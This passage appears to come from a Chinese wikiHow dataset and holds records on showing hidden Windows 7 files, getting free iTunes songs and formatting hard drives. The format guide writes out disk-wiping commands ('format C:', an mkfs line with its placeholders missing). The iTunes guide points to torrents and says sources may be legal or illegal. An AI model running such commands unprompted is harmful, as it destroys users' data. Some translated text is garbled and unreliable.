4-4. 在regedit中找出该键：HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced。
4-5. 在高级窗口的右侧，可以看到该键的值。
4-6. 右击“ShowSuperHidden”并点击修改。
4-7. 输入1。
4-8. 点击“确定"。
小提示
如果你不再希望看到这些文件，你可以再次通过以上过程，更改相关值或复选框的设置，即可再次隐藏这些文件。
虽然你可以隐藏某些私密文件避免他人的查看，但从安全和隐私的角度来看，这不是一种好方法。相反，你应该使用文件“权限”来加强你的文件的安全性。
警告
除非你十分确定你的操作目的，否则不要更改或删除计算机上的隐藏文件。任何更改都是无法逆转的。
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"create_time": "20230517 11:02:19",
"回答明细": "{\"回答\": \"1. 使用文件夹选项显示Windows 7中的隐藏文件\\n1-1. 点击Windows 7开始按钮。\\n\\n1-2. 点击控制面板。\\n你也可以在点击开始按钮后在搜索栏中输入“文件夹选项”。从结果列表中选择控制面板中的“文件夹选项”。\\n1-3. 点击“外观和个性化\\\"。\\n\\n1-4. 点击“文件夹选项\\\"。\\n\\n1-5. 在文件夹选项窗口中点击查看选项卡。\\n\\n1-6. 在\\\"高级设置\\\"中点击“显示隐藏文件，文件夹和驱动器”并点击\\\"确定\\\"。\\n\\n1-7. 在\\\"隐藏文件和文件夹\\\"类别中选择“显示隐藏文件，文件夹和驱动器”单选按钮。\\n\\n1-8. 点击文件夹选项窗口底部的“确定”。\\n\\n1-9. 关闭控制面板窗口。\\n你现在应该能够查看Windows 7中的隐藏文件和文件夹以及隐藏的驱动器。\\n1-10. 进入C:\\\\ 驱动器测试操作是否成功。\\n找出名为“ProgramData”的程序。如果你能看到该程序，说明你现在可以查看隐藏文件和文件夹了。\\n1-11. 请注意隐藏文件和文件夹是以灰色底纹的图标显示的。\\n这是区分隐藏文件和非隐藏文件的方法。\\n2. 显示受保护的操作系统文件\\n2-1. 点击Windows 7开始按钮。\\n\\n2-2. 点击控制面板。\\n\\n2-3. 点击“外观和个性化\\\"。\\n\\n2-4. 点击“文件夹选项\\\"。\\n\\n2-5. 点击“查看\\\"。\\n\\n2-6. 点击\\\"高级设置\\\"中的“显示隐藏文件，文件夹和驱动器”并点击“确定\\\"。\\n\\n2-7. 点击“应用\\\"。\\n\\n2-8. 取消选择“隐藏受保护的操作系统文件”复选框。\\n\\n2-9. 你将看到询问你是否确定要进行该操作的对话框。\\n\\n2-10. 点击“是\\\"。\\n\\n2-11. 点击“确定\\\"。\\n\\n3. 使用注册表编辑器显示隐藏文件\\n3-1. 点击开始按钮。\\n\\n3-2. 在搜索栏中输入“regedit”并按回车键。\\n你必须以管理员身份登录才能进行这些步骤。\\n3-3. 如果看到提示请点击“是”以便确认你的管理员身份。\\n\\n3-4. 在regedit中找出该键：HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced。\\n\\n3-5. 在高级窗口的右侧，可以看到该键的值。\\n\\n3-6. 找到值“Hidden\\\"。\\n\\n3-7. 右击它并将其更改为1。\\n\\n4. 使用注册表编辑器显示受保护的操作系统文件\\n4-1. 点击开始按钮。\\n\\n4-2. 在搜索栏中输入“regedit”并按回车键。\\n\\n4-3. 如果看到提示请点击“是”以便确认你的管理员身份。\\n\\n4-4. 在regedit中找出该键：HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced。\\n\\n4-5. 在高级窗口的右侧，可以看到该键的值。\\n\\n4-6. 右击“ShowSuperHidden”并点击修改。\\n\\n4-7. 输入1。\\n\\n4-8. 点击“确定\\\"。\\n\\n小提示\\n如果你不再希望看到这些文件，你可以再次通过以上过程，更改相关值或复选框的设置，即可再次隐藏这些文件。\\n虽然你可以隐藏某些私密文件避免他人的查看，但从安全和隐私的角度来看，这不是一种好方法。相反，你应该使用文件“权限”来加强你的文件的安全性。\\n警告\\n除非你十分确定你的操作目的，否则不要更改或删除计算机上的隐藏文件。任何更改都是无法逆转的。\\n\", \"简要回答\": \"Windows 7把重要的文件和文件夹隐藏起来，避免用户因更改或删除这些文件而造成系统破坏。默认情况下，Windows 7不显示这些隐藏文件。例如，pagefile.sys就是一个普通的隐藏文件。（如果一个应用程序占用了过多内存，Windows将使用该文件，清空内存。）然而，你有时可能需要查看Windows 7中的隐藏文件和文件夹。病毒或间谍软件可能藏身于这些隐藏文件间，让我们难以发现并删除病毒。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"使用文件夹选项显示Windows 7中的隐藏文件\", \"步骤\": [{\"编号\": 1, \"标题\": \"点击Windows 7开始按钮。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"点击控制面板。\", \"描述\": \"你也可以在点击开始按钮后在搜索栏中输入“文件夹选项”。从结果列表中选择控制面板中的“文件夹选项”。\"}, {\"编号\": 3, \"标题\": \"点击“外观和个性化\\\"。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"点击“文件夹选项\\\"。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"在文件夹选项窗口中点击查看选项卡。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"在\\\"高级设置\\\"中点击“显示隐藏文件，文件夹和驱动器”并点击\\\"确定\\\"。\", \"描述\": \"\"}, {\"编号\": 7, \"标题\": \"在\\\"隐藏文件和文件夹\\\"类别中选择“显示隐藏文件，文件夹和驱动器”单选按钮。\", \"描述\": \"\"}, {\"编号\": 8, \"标题\": \"点击文件夹选项窗口底部的“确定”。\", \"描述\": \"\"}, {\"编号\": 9, \"标题\": \"关闭控制面板窗口。\", \"描述\": \"你现在应该能够查看Windows 7中的隐藏文件和文件夹以及隐藏的驱动器。\"}, {\"编号\": 10, \"标题\": \"进入C:\\\\ 驱动器测试操作是否成功。\", \"描述\": \"找出名为“ProgramData”的程序。如果你能看到该程序，说明你现在可以查看隐藏文件和文件夹了。\"}, {\"编号\": 11, \"标题\": \"请注意隐藏文件和文件夹是以灰色底纹的图标显示的。\", \"描述\": \"这是区分隐藏文件和非隐藏文件的方法。\"}]}, {\"编号\": 2, \"标题\": \"显示受保护的操作系统文件\", \"步骤\": [{\"编号\": 1, \"标题\": \"点击Windows 7开始按钮。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"点击控制面板。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"点击“外观和个性化\\\"。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"点击“文件夹选项\\\"。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"点击“查看\\\"。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"点击\\\"高级设置\\\"中的“显示隐藏文件，文件夹和驱动器”并点击“确定\\\"。\", \"描述\": \"\"}, {\"编号\": 7, \"标题\": \"点击“应用\\\"。\", \"描述\": \"\"}, {\"编号\": 8, \"标题\": \"取消选择“隐藏受保护的操作系统文件”复选框。\", \"描述\": \"\"}, {\"编号\": 9, \"标题\": \"你将看到询问你是否确定要进行该操作的对话框。\", \"描述\": \"\"}, {\"编号\": 10, \"标题\": \"点击“是\\\"。\", \"描述\": \"\"}, {\"编号\": 11, \"标题\": \"点击“确定\\\"。\", \"描述\": \"\"}]}, {\"编号\": 3, \"标题\": \"使用注册表编辑器显示隐藏文件\", \"步骤\": [{\"编号\": 1, \"标题\": \"点击开始按钮。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"在搜索栏中输入“regedit”并按回车键。\", \"描述\": \"你必须以管理员身份登录才能进行这些步骤。\"}, {\"编号\": 3, \"标题\": \"如果看到提示请点击“是”以便确认你的管理员身份。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"在regedit中找出该键：HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"在高级窗口的右侧，可以看到该键的值。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"找到值“Hidden\\\"。\", \"描述\": \"\"}, {\"编号\": 7, \"标题\": \"右击它并将其更改为1。\", \"描述\": \"\"}]}, {\"编号\": 4, \"标题\": \"使用注册表编辑器显示受保护的操作系统文件\", \"步骤\": [{\"编号\": 1, \"标题\": \"点击开始按钮。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"在搜索栏中输入“regedit”并按回车键。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"如果看到提示请点击“是”以便确认你的管理员身份。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"在regedit中找出该键：HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"在高级窗口的右侧，可以看到该键的值。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"右击“ShowSuperHidden”并点击修改。\", \"描述\": \"\"}, {\"编号\": 7, \"标题\": \"输入1。\", \"描述\": \"\"}, {\"编号\": 8, \"标题\": \"点击“确定\\\"。\", \"描述\": \"\"}], \"小提示\": [\"如果你不再希望看到这些文件，你可以再次通过以上过程，更改相关值或复选框的设置，即可再次隐藏这些文件。\\n\", \"虽然你可以隐藏某些私密文件避免他人的查看，但从安全和隐私的角度来看，这不是一种好方法。相反，你应该使用文件“权限”来加强你的文件的安全性。\\n\"], \"注意事项\": [\"除非你十分确定你的操作目的，否则不要更改或删除计算机上的隐藏文件。任何更改都是无法逆转的。\\n\"]}]}}",
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} | wikihow |
14,741 | 如何从iTunes获取免费歌曲 | 1. 使用"iTunes免费"功能
1-1. 获取"每周单曲"。
在iTunes商店的主页上，点击屏幕上方的"音乐"。进入后，查看右边的菜单栏并选择"iTunes免费"。你将进入能够查看并下载每周单曲的页面。
另一能够进入"每周单曲"的方法是选择iTunes商店主页右手边快捷链接菜单的"iTunes免费"。
在"iTunes免费"页面上，你还可以看到免费的电视剧集、电影短片、书籍及应用等信息。
1-2. 收听音乐播客。
音乐播客类似于预先录制的电台节目，它们包括了歌曲及相关的评论。有时你能找到不包含评论的播客。要收听这些播客，可以进入iTunes商店主页并点击上方菜单的"播客"，你将能够收听iTunes上的所有免费音乐播客。
通过选择每天播客中的AOLMedia's MP3来获取免费歌曲。该播客在其每一片段中提供了完整的免费歌曲。在播客页面右上角的iTunes搜索栏中输入该播客的名称进行搜索。
你可以点击标题旁的"订阅"按钮对播客进行订阅，新的内容将自动下载。你也可以点击播客主页上某一播客旁的"免费"按钮下载以前的播客。
2. 获取星巴克"每周精选"
2-1. 获取"每周精选"卡。
你可以前往星巴克门店，并到柜台获取一张圆角小卡。有时它们会放置在收音机旁，有时你可以在辅料台上找到它们。
新卡将在每星期二上架。如果时间恰当，你能够在展示平台上找到本周和上周的精选歌曲。
2-2. 下载歌曲。
每张卡的正面印有歌曲的名称及艺人的照片。卡面背面则带有下载代码。要下载该歌曲，首先打开iTunes，进入iTunes商店，点击"快速链接"并选择"兑换"，然后输入下载代码。
2-3. 使用星巴克数字网络。
如果你携带了电脑进入星巴克的门店，连接上店家提供的WiFi。连接后，进入星巴克网站页面的娱乐部分，即可下载"每周精选"。
3. 其他方法
3-1. 从其他来源下载免费音乐。
iTunes并不是唯一能够获取免费音乐的方法。你可以找到不同的来源 —— 合法的和非法的--免费获取歌曲。
3-2. 最容易获取免费音乐的方法之一是使用种子流。
通过种子，音乐将在用户和用户之间交换或下载。
3-3. 使用Jamendo的jamming。
Jamendo是一种在线音乐资源，它提供了数千首歌曲资源，并提供合法的免费下载。
3-4. 从YouTube下载音乐。
你可以在YouTube上收听歌曲，为什么不下载它们并随时收听呢。
小提示
你很有可能需要一台桌面电脑用来下载歌曲 - 你可能不会在移动版本的iTunes上找到这些功能。
如果你希望每周能获取两首或更多歌曲，你可以在iTunes商店页面中往下滚动，找出探索下载。
如果你有使用iGoogle，可以获取小插件用于获取免费iTunes歌曲。
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"回答明细": "{\"回答\": \"1. 使用\\\"iTunes免费\\\"功能\\n1-1. 获取\\\"每周单曲\\\"。\\n在iTunes商店的主页上，点击屏幕上方的\\\"音乐\\\"。进入后，查看右边的菜单栏并选择\\\"iTunes免费\\\"。你将进入能够查看并下载每周单曲的页面。\\n另一能够进入\\\"每周单曲\\\"的方法是选择iTunes商店主页右手边快捷链接菜单的\\\"iTunes免费\\\"。\\n在\\\"iTunes免费\\\"页面上，你还可以看到免费的电视剧集、电影短片、书籍及应用等信息。\\n1-2. 收听音乐播客。\\n音乐播客类似于预先录制的电台节目，它们包括了歌曲及相关的评论。有时你能找到不包含评论的播客。要收听这些播客，可以进入iTunes商店主页并点击上方菜单的\\\"播客\\\"，你将能够收听iTunes上的所有免费音乐播客。\\n通过选择每天播客中的AOLMedia's MP3来获取免费歌曲。该播客在其每一片段中提供了完整的免费歌曲。在播客页面右上角的iTunes搜索栏中输入该播客的名称进行搜索。\\n你可以点击标题旁的\\\"订阅\\\"按钮对播客进行订阅，新的内容将自动下载。你也可以点击播客主页上某一播客旁的\\\"免费\\\"按钮下载以前的播客。\\n2. 获取星巴克\\\"每周精选\\\"\\n2-1. 获取\\\"每周精选\\\"卡。\\n你可以前往星巴克门店，并到柜台获取一张圆角小卡。有时它们会放置在收音机旁，有时你可以在辅料台上找到它们。\\n新卡将在每星期二上架。如果时间恰当，你能够在展示平台上找到本周和上周的精选歌曲。\\n2-2. 下载歌曲。\\n每张卡的正面印有歌曲的名称及艺人的照片。卡面背面则带有下载代码。要下载该歌曲，首先打开iTunes，进入iTunes商店，点击\\\"快速链接\\\"并选择\\\"兑换\\\"，然后输入下载代码。\\n2-3. 使用星巴克数字网络。\\n如果你携带了电脑进入星巴克的门店，连接上店家提供的WiFi。连接后，进入星巴克网站页面的娱乐部分，即可下载\\\"每周精选\\\"。\\n3. 其他方法\\n3-1. 从其他来源下载免费音乐。\\niTunes并不是唯一能够获取免费音乐的方法。你可以找到不同的来源 —— 合法的和非法的--免费获取歌曲。\\n3-2. 最容易获取免费音乐的方法之一是使用种子流。\\n通过种子，音乐将在用户和用户之间交换或下载。\\n3-3. 使用Jamendo的jamming。\\nJamendo是一种在线音乐资源，它提供了数千首歌曲资源，并提供合法的免费下载。\\n3-4. 从YouTube下载音乐。\\n你可以在YouTube上收听歌曲，为什么不下载它们并随时收听呢。\\n小提示\\n你很有可能需要一台桌面电脑用来下载歌曲 - 你可能不会在移动版本的iTunes上找到这些功能。\\n如果你希望每周能获取两首或更多歌曲，你可以在iTunes商店页面中往下滚动，找出探索下载。\\n如果你有使用iGoogle，可以获取小插件用于获取免费iTunes歌曲。\\n\", \"简要回答\": \"你很热爱音乐，但这不意味着你愿意花费大量金钱来扩充自己的收藏列表。我的意思是，要是能获取免费的歌曲，不也很好吗？其实获取免费音乐的途径是有的。免费且完全合法的音乐就藏在某个地方，你只需知道能够在哪里获取这些资源，就可以了！\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"使用\\\"iTunes免费\\\"功能\", \"步骤\": [{\"编号\": 1, \"标题\": \"获取\\\"每周单曲\\\"。\", \"描述\": \"在iTunes商店的主页上，点击屏幕上方的\\\"音乐\\\"。进入后，查看右边的菜单栏并选择\\\"iTunes免费\\\"。你将进入能够查看并下载每周单曲的页面。\\n另一能够进入\\\"每周单曲\\\"的方法是选择iTunes商店主页右手边快捷链接菜单的\\\"iTunes免费\\\"。\\n在\\\"iTunes免费\\\"页面上，你还可以看到免费的电视剧集、电影短片、书籍及应用等信息。\"}, {\"编号\": 2, \"标题\": \"收听音乐播客。\", \"描述\": \"音乐播客类似于预先录制的电台节目，它们包括了歌曲及相关的评论。有时你能找到不包含评论的播客。要收听这些播客，可以进入iTunes商店主页并点击上方菜单的\\\"播客\\\"，你将能够收听iTunes上的所有免费音乐播客。\\n通过选择每天播客中的AOLMedia's MP3来获取免费歌曲。该播客在其每一片段中提供了完整的免费歌曲。在播客页面右上角的iTunes搜索栏中输入该播客的名称进行搜索。\\n你可以点击标题旁的\\\"订阅\\\"按钮对播客进行订阅，新的内容将自动下载。你也可以点击播客主页上某一播客旁的\\\"免费\\\"按钮下载以前的播客。\"}]}, {\"编号\": 2, \"标题\": \"获取星巴克\\\"每周精选\\\"\", \"步骤\": [{\"编号\": 1, \"标题\": \"获取\\\"每周精选\\\"卡。\", \"描述\": \"你可以前往星巴克门店，并到柜台获取一张圆角小卡。有时它们会放置在收音机旁，有时你可以在辅料台上找到它们。\\n新卡将在每星期二上架。如果时间恰当，你能够在展示平台上找到本周和上周的精选歌曲。\"}, {\"编号\": 2, \"标题\": \"下载歌曲。\", \"描述\": \"每张卡的正面印有歌曲的名称及艺人的照片。卡面背面则带有下载代码。要下载该歌曲，首先打开iTunes，进入iTunes商店，点击\\\"快速链接\\\"并选择\\\"兑换\\\"，然后输入下载代码。\"}, {\"编号\": 3, \"标题\": \"使用星巴克数字网络。\", \"描述\": \"如果你携带了电脑进入星巴克的门店，连接上店家提供的WiFi。连接后，进入星巴克网站页面的娱乐部分，即可下载\\\"每周精选\\\"。\"}]}, {\"编号\": 3, \"标题\": \"其他方法\", \"步骤\": [{\"编号\": 1, \"标题\": \"从其他来源下载免费音乐。\", \"描述\": \"iTunes并不是唯一能够获取免费音乐的方法。你可以找到不同的来源 —— 合法的和非法的--免费获取歌曲。\"}, {\"编号\": 2, \"标题\": \"最容易获取免费音乐的方法之一是使用种子流。\", \"描述\": \"通过种子，音乐将在用户和用户之间交换或下载。\"}, {\"编号\": 3, \"标题\": \"使用Jamendo的jamming。\", \"描述\": \"Jamendo是一种在线音乐资源，它提供了数千首歌曲资源，并提供合法的免费下载。\"}, {\"编号\": 4, \"标题\": \"从YouTube下载音乐。\", \"描述\": \"你可以在YouTube上收听歌曲，为什么不下载它们并随时收听呢。\"}], \"小提示\": [\"你很有可能需要一台桌面电脑用来下载歌曲 - 你可能不会在移动版本的iTunes上找到这些功能。\\n\", \"如果你希望每周能获取两首或更多歌曲，你可以在iTunes商店页面中往下滚动，找出探索下载。\\n\", \"如果你有使用iGoogle，可以获取小插件用于获取免费iTunes歌曲。\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,742 | 如何格式化硬盘 | 1. Windows XP
1-1. 备份电脑|备份你的数据. 如果你想保存磁盘上的任何数据，通过复制到一个CD或另一个硬盘来备份。
格式化之后会摧毁磁盘上的所有数据。
1-2. 使用Windows XP的光盘驱动器来驱动你的电脑。
1-3. 选择“故障恢复控制台”的选项。
1-4. 在DOS命令那打格式C：
1-5. 同时打开电脑，然后右击“本地磁盘(c:
)",选择“格式..“。点击开始（如果除了c驱动盘和窗口没在驱动器上安装）。
2. Windows 7
2-1. 备份电脑|备份数据. 如果你想保存磁盘上的任何数据，通过复制到一个CD或另一个硬盘来备份。
格式化之后会摧毁磁盘上的所有数据。
2-2. 点击开始。
2-3. 点击控制面板。
2-4. 点击系统和安全。
2-5. 点击管理工具。
2-6. 点击电脑管理。
输入你的密码如果被问及。
2-7. 在储存下面点击磁盘管理。
储存应该在左边。
2-8. 右击你想格式化的东西。
2-9. 点击格式化。
2-10. 跟随提示。
3. Mac OS X
3-1. 备份你的电脑|备份你的数据。
如果你想保存磁盘上的任何数据，通过复制到一个CD或另一个硬盘来备份。 格式化之后会摧毁磁盘上的所有数据。
3-2. 打开硬盘。
3-3. 打开应用程序。
3-4. 下滑并打开实用程序。
3-5. 点击磁盘实用。
3-6. 选择在单子左边的你想格式化的驱动器。
3-7. 选择你的卷宗格式。
Mac OS 扩展使最基本的，标准选项。文件系统可以帮助电脑追踪时不时的变化并是一个好的想法。
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区分大小写通常和多用户的计算机操作系统适用。
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如果你想在Windows系统里分享文件并连接的话，MS-DOS是最好的选择。
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3-8. 给驱动盘命名。
3-9. 点击删除。
跟随提示，等待它的完成，然后就可以了。
4. Windows 9x (95, 98, Me)
4-1. 如果你想保存磁盘上的任何数据，通过复制到一个CD或另一个硬盘来备份。
格式化之后会摧毁磁盘上的所有数据。
4-2. 使用一个启动软磁碟（有时候被称为“启动盘”）来获得DOS指令。
4-3. 打格式化命令C：
5. Linux 或者 BSD
5-1. 启动光盘
5-2. 打开末端窗口（通常是像X终端系统或者终端窗口的东西）
5-3. 输入“su"或者“sudo-i"来登入
5-4. 输入代码。
打mkfs. /dev/hd ，把 改成你想要的文件类型。(举例：ext2, ext3, reiserfs,...) 并且 代表你驱动器的字母， 代表你想要格式化的分区的数字。 (举例：/dev/hda1, /dev/hdc32,...). 使用 j option (mke2fs -j)可以创建ext3文件系统，这个文件系统对意料之外的能量流失有很好的抵抗性。(在Linux的操作系统下, 你也可以在FAT文件系统里格式化Windows可读的硬盘驱动器(使用mkfs.vfat 来代替mkfs.ext2)。但是这样的分区不能存储Linux的操作系统）。
小提示
高级设置：在你的新分区里选择一个好的文件系统。对于Windows，NTFS是最好的选项。Linux和 BSD 更多样化。XFS或者EXT3是不错的选择。XFS有更高的性能，但是EXT3有更好的修复性。Mac用户应该使用HFS+. Solaris用户应该选择ZFS. BSD用户应该考虑HAMMERFS.
给过程足够多的时间来完成。选择性的安装你的操作系统，或者使用一个空的磁盘。
在格式化驱动器之前必须先分区。
C盘和/dev/hda 是你主要的分区。如果你要尝试格式化另一个分区或者驱动器，用合适的驱动器字母，例如D盘或者/dev/hdb来替换C盘或者hda。
如果想要更安全的格式化，有些程序可以对整个驱动盘不产生任何垃圾字符，让删除的信息不能恢复。
警告
确保你格式化了正确的驱动器，并且你要备份你不想丢失的数据。
硬盘可以有很多种分区，所以确保检查你在格式化哪个驱动器和哪个分区。举个例子，一个C盘和D盘的分区可能在一个驱动器上。 由于微软的文件分配表和NT文件系统的分区计划，顺序不对并不奇怪。举个例子，C盘和E盘可能在第一个驱动器上分区，D盘可能在第二个驱动器上分区。如果还是疑惑的话，使用例如Gparted或者Fdisk的分区工具来决定哪个分区在哪个驱动器上。
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Mac OS X\\n3-1. 备份你的电脑|备份你的数据。\\n如果你想保存磁盘上的任何数据，通过复制到一个CD或另一个硬盘来备份。 格式化之后会摧毁磁盘上的所有数据。\\n3-2. 打开硬盘。\\n\\n3-3. 打开应用程序。\\n\\n3-4. 下滑并打开实用程序。\\n\\n3-5. 点击磁盘实用。\\n\\n3-6. 选择在单子左边的你想格式化的驱动器。\\n\\n3-7. 选择你的卷宗格式。\\nMac OS 扩展使最基本的，标准选项。文件系统可以帮助电脑追踪时不时的变化并是一个好的想法。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/f\\\\/f8\\\\/Format-a-Hard-Drive-Step-22Bullet1.jpg\\\\/v4-460px-Format-a-Hard-Drive-Step-22Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/f8\\\\/Format-a-Hard-Drive-Step-22Bullet1.jpg\\\\/v4-728px-Format-a-Hard-Drive-Step-22Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n区分大小写通常和多用户的计算机操作系统适用。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/c\\\\/c7\\\\/Format-a-Hard-Drive-Step-22Bullet2.jpg\\\\/v4-460px-Format-a-Hard-Drive-Step-22Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/c\\\\/c7\\\\/Format-a-Hard-Drive-Step-22Bullet2.jpg\\\\/v4-728px-Format-a-Hard-Drive-Step-22Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n如果你想在Windows系统里分享文件并连接的话，MS-DOS是最好的选择。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/4\\\\/45\\\\/Format-a-Hard-Drive-Step-22Bullet3.jpg\\\\/v4-460px-Format-a-Hard-Drive-Step-22Bullet3.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/4\\\\/45\\\\/Format-a-Hard-Drive-Step-22Bullet3.jpg\\\\/v4-728px-Format-a-Hard-Drive-Step-22Bullet3.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n3-8. 给驱动盘命名。\\n\\n3-9. 点击删除。\\n跟随提示，等待它的完成，然后就可以了。\\n4. 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BSD用户应该考虑HAMMERFS.\\n给过程足够多的时间来完成。选择性的安装你的操作系统，或者使用一个空的磁盘。\\n在格式化驱动器之前必须先分区。\\nC盘和/dev/hda 是你主要的分区。如果你要尝试格式化另一个分区或者驱动器，用合适的驱动器字母，例如D盘或者/dev/hdb来替换C盘或者hda。\\n如果想要更安全的格式化，有些程序可以对整个驱动盘不产生任何垃圾字符，让删除的信息不能恢复。\\n警告\\n确保你格式化了正确的驱动器，并且你要备份你不想丢失的数据。\\n硬盘可以有很多种分区，所以确保检查你在格式化哪个驱动器和哪个分区。举个例子，一个C盘和D盘的分区可能在一个驱动器上。 由于微软的文件分配表和NT文件系统的分区计划，顺序不对并不奇怪。举个例子，C盘和E盘可能在第一个驱动器上分区，D盘可能在第二个驱动器上分区。如果还是疑惑的话，使用例如Gparted或者Fdisk的分区工具来决定哪个分区在哪个驱动器上。\\n\", \"简要回答\": \"这篇文章包含了高级的格式化硬盘的一些基本要素。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"Windows XP\", \"步骤\": [{\"编号\": 1, \"标题\": \"备份电脑|备份你的数据. 如果你想保存磁盘上的任何数据，通过复制到一个CD或另一个硬盘来备份。\", \"描述\": \"格式化之后会摧毁磁盘上的所有数据。\"}, {\"编号\": 2, \"标题\": \"使用Windows XP的光盘驱动器来驱动你的电脑。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"选择“故障恢复控制台”的选项。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"在DOS命令那打格式C：\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"同时打开电脑，然后右击“本地磁盘(c:\", \"描述\": \")\\\",选择“格式..“。点击开始（如果除了c驱动盘和窗口没在驱动器上安装）。\"}]}, {\"编号\": 2, \"标题\": \"Windows 7\", \"步骤\": [{\"编号\": 1, \"标题\": \"备份电脑|备份数据. 如果你想保存磁盘上的任何数据，通过复制到一个CD或另一个硬盘来备份。\", \"描述\": \"格式化之后会摧毁磁盘上的所有数据。\"}, {\"编号\": 2, \"标题\": \"点击开始。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"点击控制面板。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"点击系统和安全。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"点击管理工具。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"点击电脑管理。\", \"描述\": \"输入你的密码如果被问及。\"}, {\"编号\": 7, \"标题\": \"在储存下面点击磁盘管理。\", \"描述\": \"储存应该在左边。\"}, {\"编号\": 8, \"标题\": \"右击你想格式化的东西。\", \"描述\": \"\"}, {\"编号\": 9, \"标题\": \"点击格式化。\", \"描述\": \"\"}, {\"编号\": 10, \"标题\": \"跟随提示。\", \"描述\": \"\"}]}, {\"编号\": 3, \"标题\": \"Mac OS X\", \"步骤\": [{\"编号\": 1, \"标题\": \"备份你的电脑|备份你的数据。\", \"描述\": \"如果你想保存磁盘上的任何数据，通过复制到一个CD或另一个硬盘来备份。 格式化之后会摧毁磁盘上的所有数据。\"}, {\"编号\": 2, \"标题\": \"打开硬盘。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"打开应用程序。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"下滑并打开实用程序。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"点击磁盘实用。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"选择在单子左边的你想格式化的驱动器。\", \"描述\": \"\"}, {\"编号\": 7, \"标题\": \"选择你的卷宗格式。\", \"描述\": \"Mac OS 扩展使最基本的，标准选项。文件系统可以帮助电脑追踪时不时的变化并是一个好的想法。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/f\\\\/f8\\\\/Format-a-Hard-Drive-Step-22Bullet1.jpg\\\\/v4-460px-Format-a-Hard-Drive-Step-22Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/f8\\\\/Format-a-Hard-Drive-Step-22Bullet1.jpg\\\\/v4-728px-Format-a-Hard-Drive-Step-22Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div 